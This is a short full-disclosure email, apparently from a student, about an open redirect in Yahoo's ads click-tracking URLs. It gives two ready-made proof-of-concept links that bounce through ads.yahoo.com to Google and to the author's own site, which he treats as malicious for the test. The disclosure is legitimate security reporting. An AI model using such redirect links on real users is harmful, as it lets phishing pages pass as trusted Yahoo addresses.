Dear Sir/Madam,

I am a student from NTU, Singapore. My name is Wang Jing. I just found a yahoo open redirect vulnerability and reported it to yahoo 10 days ago.

However, yahoo did nothing about it.

The following is full disclosure. Attachment is prove of concept video. And the link below is poc video I just posted on youtube.
http://www.youtube.com/watch?v=GTd1Gkj6OUY&feature=youtu.be

I just found one open url redirection vulnerability in yahoo.

This attacks doesn't even need users to login yahoo. My test is on all browsers in all computer systems.

I use "poc of exploit" to denote that url redirection works.

Now I will use a website just built by me for the following tests. The website is "http://www.tetraph.com". We can think this website is malicious, because it is fully under my control.

vulnerable url:

poc exploit:

http://ads.yahoo.com/clk?3,eJyti18LgjAUxb-QD246p4we5t8UZw0W4d50mKGGEYXZp09N.AT94J5zLvceYBCF9UtV2QgrZakSlgSYhrKLElVloemEEAPbEJuOhTQ6k0nIB789R9Rd9tToJV2pp3Frb8lHe9Z9cD-8KP-d3yxz6F.wnITGa56847z2B9qH1mMMmLu9RTHKxQlKkTSpqEEu6JOJsGMjuLKPbFPR3aQvGyZiJP0W5Hxr7jRN.wKrBU.A,http%3A%2F%2Fwww.google.com

http://ads.yahoo.com/clk?3,eJyti18LgjAUxb-QD246p4we5t8UZw0W4d50mKGGEYXZp09N.AT94J5zLvceYBCF9UtV2QgrZakSlgSYhrKLElVloemEEAPbEJuOhTQ6k0nIB789R9Rd9tToJV2pp3Frb8lHe9Z9cD-8KP-d3yxz6F.wnITGa56847z2B9qH1mMMmLu9RTHKxQlKkTSpqEEu6JOJsGMjuLKPbFPR3aQvGyZiJP0W5Hxr7jRN.wKrBU.A,http%3A%2F%2Fwww.tetraph.com

poc video:

http://www.youtube.com/watch?v=GTd1Gkj6OUY&feature=youtu.be